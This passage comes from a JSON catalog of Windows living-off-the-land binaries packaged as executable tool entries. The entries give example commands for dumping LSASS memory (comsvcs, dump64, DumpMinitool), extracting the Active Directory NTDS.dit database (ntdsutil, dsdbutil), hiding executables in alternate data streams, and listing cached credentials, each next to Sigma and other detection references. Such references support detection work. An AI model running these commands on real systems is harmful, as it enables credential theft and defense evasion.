    "name": "devicecredentialdeployment",
    "namespace": "windows:conceal:devicecredentialdeployment",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# colorcpl\n\ncolorcpl is a Windows LOLBin. Binary that handles color management Located at: C:\\Windows\\System32\\colorcpl.exe; C:\\Windows\\SysWOW64\\colorcpl.exe.\n",
    "_source": "colorcpl.md",
    "allowed-tools": [
      "colorcpl"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Arjan Onwezen",
    "capabilities": [
      "system.file.copy"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary that handles color management Located at: C:\\Windows\\System32\\colorcpl.exe; C:\\Windows\\SysWOW64\\colorcpl.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml"
      },
      {
        "type": "ioc",
        "description": "colorcpl.exe writing files"
      }
    ],
    "examples": [
      {
        "description": "Copies the referenced file to C:\\Windows\\System32\\spool\\drivers\\color\\. (Copies file(s) to a subfolder of a generally trusted folder (c:\\Windows\\System32), which can be used to hide files or make them blend into the environment.)",
        "command": "colorcpl {PATH}"
      }
    ],
    "execution": {
      "template": "colorcpl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-copy-colorcpl",
    "install": [
      {
        "method": "choco",
        "package_name": "colorcpl",
        "commands": [
          "choco install colorcpl"
        ]
      }
    ],
    "mitre_ids": [
      "T1036.005"
    ],
    "name": "colorcpl",
    "namespace": "windows:copy:colorcpl",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1480468728324231172",
        "url": "https://twitter.com/eral4m/status/1480468728324231172"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dtutil\n\ndtutil is a Windows LOLBin. Microsoft command line utility used to manage SQL Server Integration Services packages. Located at: C:\\Program Files\\Microsoft SQL Server\\<version>\\DTS\\Binn\\dtutil.exe; C:\\Program Files (x86)\\Microsoft SQL Server\\<version>\\DTS\\Binn\\dtutil.exe.\n",
    "_source": "dtutil.md",
    "allowed-tools": [
      "dtutil"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Avihay Eldad",
    "capabilities": [
      "system.file.copy"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft command line utility used to manage SQL Server Integration Services packages. Located at: C:\\Program Files\\Microsoft SQL Server\\<version>\\DTS\\Binn\\dtutil.exe; C:\\Program Files (x86)\\Microsoft SQL Server\\<version>\\DTS\\Binn\\dtutil.exe.",
    "detections": [],
    "examples": [
      {
        "description": "Copy file from source to destination (Use to copies the source file to the destination file)",
        "command": "dtutil.exe /FILE {PATH_ABSOLUTE:.source.ext} /COPY FILE;{PATH_ABSOLUTE:.dest.ext}"
      }
    ],
    "execution": {
      "template": "dtutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-copy-dtutil",
    "install": [
      {
        "method": "choco",
        "package_name": "dtutil",
        "commands": [
          "choco install dtutil"
        ]
      }
    ],
    "mitre_ids": [
      "T1105"
    ],
    "name": "dtutil",
    "namespace": "windows:copy:dtutil",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "dtutil-utility?view=sql-server-ver16",
        "url": "https://learn.microsoft.com/en-us/sql/integration-services/dtutil-utility?view=sql-server-ver16"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# print\n\nprint is a Windows LOLBin. Used by Windows to send files to the printer Located at: C:\\Windows\\System32\\print.exe; C:\\Windows\\SysWOW64\\print.exe.\n",
    "_source": "print.md",
    "allowed-tools": [
      "print"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "system.file.alternate-data-stream",
      "system.file.copy"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by Windows to send files to the printer Located at: C:\\Windows\\System32\\print.exe; C:\\Windows\\SysWOW64\\print.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml"
      },
      {
        "type": "ioc",
        "description": "Print.exe retrieving files from internet"
      },
      {
        "type": "ioc",
        "description": "Print.exe creating executable files on disk"
      }
    ],
    "examples": [
      {
        "description": "Copy file.exe into the Alternate Data Stream (ADS) of file.txt. (Hide binary file in alternate data stream to potentially bypass defensive counter measures)",
        "command": "print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe}"
      },
      {
        "description": "Copy file from source to destination (Copy files)",
        "command": "print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe}"
      },
      {
        "description": "Copy File.exe from a network share to the target c:\\OutFolder\\outfile.exe. (Copy/Download file from remote server)",
        "command": "print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe}"
      }
    ],
    "execution": {
      "template": "print",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "global_vars": {},
    "id": "windows-copy-print",
    "install": [
      {
        "method": "choco",
        "package_name": "print",
        "commands": [
          "choco install print"
        ]
      }
    ],
    "mitre_ids": [
      "T1564.004",
      "T1105"
    ],
    "name": "print",
    "namespace": "windows:copy:print",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "985518877076541440",
        "url": "https://twitter.com/Oddvarmoe/status/985518877076541440"
      },
      {
        "label": "watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd",
        "url": "https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "defense-evasion",
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# cmdkey\n\ncmdkey is a Windows LOLBin. creates, lists, and deletes stored user names and passwords or credentials. Located at: C:\\Windows\\System32\\cmdkey.exe; C:\\Windows\\SysWOW64\\cmdkey.exe.\n",
    "_source": "cmdkey.md",
    "allowed-tools": [
      "cmdkey"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "creates, lists, and deletes stored user names and passwords or credentials. Located at: C:\\Windows\\System32\\cmdkey.exe; C:\\Windows\\SysWOW64\\cmdkey.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml"
      }
    ],
    "examples": [
      {
        "description": "List cached credentials (Get credential information from host)",
        "command": "cmdkey /list"
      }
    ],
    "execution": {
      "template": "cmdkey",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-credential-cmdkey",
    "install": [
      {
        "method": "choco",
        "package_name": "cmdkey",
        "commands": [
          "choco install cmdkey"
        ]
      }
    ],
    "mitre_ids": [
      "T1078"
    ],
    "name": "cmdkey",
    "namespace": "windows:credential:cmdkey",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "exploring-cmdkey-an-edge-case-for-privilege-escala",
        "url": "https://web.archive.org/web/20230202122017/https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation"
      },
      {
        "label": "cmdkey",
        "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# comsvcs\n\ncomsvcs is a Windows LOLBin. COM+ Services Located at: c:\\windows\\system32\\comsvcs.dll.\n",
    "_source": "comsvcs.md",
    "allowed-tools": [
      "comsvcs"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "COM+ Services Located at: c:\\windows\\system32\\comsvcs.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_rundll32_process_dump_via_comsvcs.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/dump_lsass_via_comsvcs_dll.yml"
      }
    ],
    "examples": [
      {
        "description": "Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump. (Dump Lsass.exe process memory to retrieve credentials.)",
        "command": "rundll32 C:\\windows\\system32\\comsvcs.dll MiniDump {LSASS_PID} dump.bin full"
      }
    ],
    "execution": {
      "template": "comsvcs",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-credential-comsvcs",
    "install": [
      {
        "method": "choco",
        "package_name": "comsvcs",
        "commands": [
          "choco install comsvcs"
        ]
      }
    ],
    "mitre_ids": [
      "T1003.001"
    ],
    "name": "comsvcs",
    "namespace": "windows:credential:comsvcs",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# createdump\n\ncreatedump is a Windows LOLBin. Microsoft .NET Runtime Crash Dump Generator (included in .NET Core) Located at: C:\\Program Files\\dotnet\\shared\\Microsoft.NETCore.App\\<version>\\createdump.exe; C:\\Program Files (x86)\\dotnet\\shared\\Microsoft.NETCore.App\\<version>\\createdump.exe; C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\dotnet\\runtime\\shared\\Microsoft.NETCore.App\\6.0.0\\createdump.exe.\n",
    "_source": "createdump.md",
    "allowed-tools": [
      "createdump"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "mr.d0x, Daniel Santos",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft .NET Runtime Crash Dump Generator (included in .NET Core) Located at: C:\\Program Files\\dotnet\\shared\\Microsoft.NETCore.App\\<version>\\createdump.exe; C:\\Program Files (x86)\\dotnet\\shared\\Microsoft.NETCore.App\\<version>\\createdump.exe; C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\dotnet\\runtime\\shared\\Microsoft.NETCore.App\\6.0.0\\createdump.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_proc_dump_createdump.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_renamed_createdump.yml"
      },
      {
        "type": "ioc",
        "description": "createdump.exe process with a command line containing the lsass.exe process id"
      }
    ],
    "examples": [
      {
        "description": "Dump process by PID and create a minidump file. If \"-f dump.dmp\" is not specified, the file is created as '%TEMP%\\dump.%p.dmp' where %p is the PID of the target process. (Dump process memory contents using PID.)",
        "command": "createdump.exe -n -f {PATH:.dmp} {PID}"
      }
    ],
    "execution": {
      "template": "createdump",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-credential-createdump",
    "install": [
      {
        "method": "choco",
        "package_name": "createdump",
        "commands": [
          "choco install createdump"
        ]
      }
    ],
    "mitre_ids": [
      "T1003"
    ],
    "name": "createdump",
    "namespace": "windows:credential:createdump",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1366400799199272960",
        "url": "https://twitter.com/bopin2020/status/1366400799199272960"
      },
      {
        "label": "lab-1-3-capture-core-crash-dumps",
        "url": "https://docs.microsoft.com/en-us/troubleshoot/developer/webapps/aspnetcore/practice-troubleshoot-linux/lab-1-3-capture-core-crash-dumps"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dsdbutil\n\ndsdbutil is a Windows LOLBin. Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory. Located at: C:\\Windows\\System32\\dsdbutil.exe; C:\\Windows\\SysWOW64\\dsdbutil.exe.\n",
    "_source": "dsdbutil.md",
    "allowed-tools": [
      "dsdbutil"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Ekitji",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory. Located at: C:\\Windows\\System32\\dsdbutil.exe; C:\\Windows\\SysWOW64\\dsdbutil.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "Event ID 4688"
      },
      {
        "type": "ioc",
        "description": "dsdbutil.exe process creation"
      },
      {
        "type": "ioc",
        "description": "Event ID 4663"
      },
      {
        "type": "ioc",
        "description": "Regular and Volume Shadow Copy attempts to read or modify ntds.dit"
      },
      {
        "type": "ioc",
        "description": "Event ID 4656"
      },
      {
        "type": "ioc",
        "description": "Regular and Volume Shadow Copy attempts to read or modify ntds.dit"
      }
    ],
    "examples": [
      {
        "description": "dsdbutil supports VSS snapshot creation (Snapshoting of Active Directory NTDS.dit database)",
        "command": "dsdbutil.exe \"activate instance ntds\" \"snapshot\" \"create\" \"quit\" \"quit\""
      },
      {
        "description": "Mounting the snapshot with its GUID (Mounting the snapshot to access the ntds.dit with `copy c:\\<Snap Volume>\\windows\\ntds\\ntds.dit c:\\users\\administrator\\desktop\\ntds.dit.bak`)",
        "command": "dsdbutil.exe \"activate instance ntds\" \"snapshot\" \"mount {GUID}\" \"quit\" \"quit\""
      },
      {
        "description": "Deletes the mount of the snapshot (Deletes the snapshot)",
        "command": "dsdbutil.exe \"activate instance ntds\" \"snapshot\" \"delete {GUID}\" \"quit\" \"quit\""
      },
      {
        "description": "Mounting with snapshot identifier (Mounting the snapshot identifier 1 and accessing it with `copy c:\\<Snap Volume>\\windows\\ntds\\ntds.dit c:\\users\\administrator\\desktop\\ntds.dit.bak`)",
        "command": "dsdbutil.exe \"activate instance ntds\" \"snapshot\" \"create\" \"list all\" \"mount 1\" \"quit\" \"quit\""
      },
      {
        "description": "Deletes the mount of the snapshot (deletes the snapshot)",
        "command": "dsdbutil.exe \"activate instance ntds\" \"snapshot\" \"list all\" \"delete 1\" \"quit\" \"quit\""
      }
    ],
    "execution": {
      "template": "dsdbutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "remote"
    ],
    "global_vars": {},
    "id": "windows-credential-dsdbutil",
    "install": [
      {
        "method": "choco",
        "package_name": "dsdbutil",
        "commands": [
          "choco install dsdbutil"
        ]
      }
    ],
    "mitre_ids": [
      "T1003.003"
    ],
    "name": "dsdbutil",
    "namespace": "windows:credential:dsdbutil",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "88561ca40998e83deb3d1da90289e358",
        "url": "https://gist.github.com/bohops/88561ca40998e83deb3d1da90289e358"
      },
      {
        "label": "ntds_dit_security_active_directory.html",
        "url": "https://www.netwrix.com/ntds_dit_security_active_directory.html"
      }
    ],
    "related_tools": [
      "dsDbUtil"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dump64\n\ndump64 is a Windows LOLBin. Memory dump tool that comes with Microsoft Visual Studio Located at: C:\\Program Files (x86)\\Microsoft Visual Studio\\Installer\\Feedback\\dump64.exe.\n",
    "_source": "dump64.md",
    "allowed-tools": [
      "dump64"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "mr.d0x",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Memory dump tool that comes with Microsoft Visual Studio Located at: C:\\Program Files (x86)\\Microsoft Visual Studio\\Installer\\Feedback\\dump64.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dump64.yml"
      },
      {
        "type": "ioc",
        "description": "As a Windows SDK binary, execution on a system may be suspicious"
      }
    ],
    "examples": [
      {
        "description": "Creates a memory dump of the LSASS process. (Create memory dump and parse it offline to retrieve credentials.)",
        "command": "dump64.exe {PID} out.dmp"
      }
    ],
    "execution": {
      "template": "dump64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-credential-dump64",
    "install": [
      {
        "method": "choco",
        "package_name": "dump64",
        "commands": [
          "choco install dump64"
        ]
      }
    ],
    "mitre_ids": [
      "T1003.001"
    ],
    "name": "dump64",
    "namespace": "windows:credential:dump64",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1460597833917251595",
        "url": "https://twitter.com/mrd0x/status/1460597833917251595"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# dumpminitool\n\ndumpminitool is a Windows LOLBin. Dump tool part Visual Studio 2022 Located at: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\Extensions\\TestPlatform\\Extensions\\DumpMinitool.exe.\n",
    "_source": "dumpminitool.md",
    "allowed-tools": [
      "dumpminitool"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "mr.d0x",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Dump tool part Visual Studio 2022 Located at: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\Extensions\\TestPlatform\\Extensions\\DumpMinitool.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_dumpminitool_execution.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_dumpminitool_susp_execution.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml"
      }
    ],
    "examples": [
      {
        "description": "Creates a memory dump of the lsass process (Create memory dump and parse it offline)",
        "command": "DumpMinitool.exe --file {PATH_ABSOLUTE} --processId 1132 --dumpType Full"
      }
    ],
    "execution": {
      "template": "dumpminitool",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-credential-dumpminitool",
    "install": [
      {
        "method": "choco",
        "package_name": "dumpminitool",
        "commands": [
          "choco install dumpminitool"
        ]
      }
    ],
    "mitre_ids": [
      "T1003.001"
    ],
    "name": "dumpminitool",
    "namespace": "windows:credential:dumpminitool",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1511415432888131586",
        "url": "https://twitter.com/mrd0x/status/1511415432888131586"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ntdsutil\n\nntdsutil is a Windows LOLBin. Command line utility used to export Active Directory. Located at: C:\\Windows\\System32\\ntdsutil.exe.\n",
    "_source": "ntdsutil.md",
    "allowed-tools": [
      "ntdsutil"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Tony Lambert",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command line utility used to export Active Directory. Located at: C:\\Windows\\System32\\ntdsutil.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml"
      },
      {
        "type": "splunk",
        "url": "https://github.com/splunk/security_content/blob/2b87b26bdc2a84b65b1355ffbd5174bdbdb1879c/detections/endpoint/ntdsutil_export_ntds.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml"
      },
      {
        "type": "ioc",
        "description": "ntdsutil.exe with command line including \"ifm\""
      }
    ],
    "examples": [
      {
        "description": "Dump NTDS.dit into folder (Dumping of Active Directory NTDS.dit database)",
        "command": "ntdsutil.exe \"ac i ntds\" \"ifm\" \"create full c:\\\" q q"
      }
    ],
    "execution": {
      "template": "ntdsutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-credential-ntdsutil",
    "install": [
      {
        "method": "choco",
        "package_name": "ntdsutil",
        "commands": [
          "choco install ntdsutil"
        ]
      }
    ],
    "mitre_ids": [
      "T1003.003"
    ],
    "name": "ntdsutil",
    "namespace": "windows:credential:ntdsutil",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "?p=2398#CreateIFM",
        "url": "https://adsecurity.org/?p=2398#CreateIFM"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# rdrleakdiag\n\nrdrleakdiag is a Windows LOLBin. Microsoft Windows resource leak diagnostic tool Located at: c:\\windows\\system32\\rdrleakdiag.exe; c:\\Windows\\SysWOW64\\rdrleakdiag.exe.\n",
    "_source": "rdrleakdiag.md",
    "allowed-tools": [
      "rdrleakdiag"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "John Dwyer",
    "capabilities": [
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Windows resource leak diagnostic tool Located at: c:\\windows\\system32\\rdrleakdiag.exe; c:\\Windows\\SysWOW64\\rdrleakdiag.exe.",
    "detections": [
      {
        "type": "sigma",
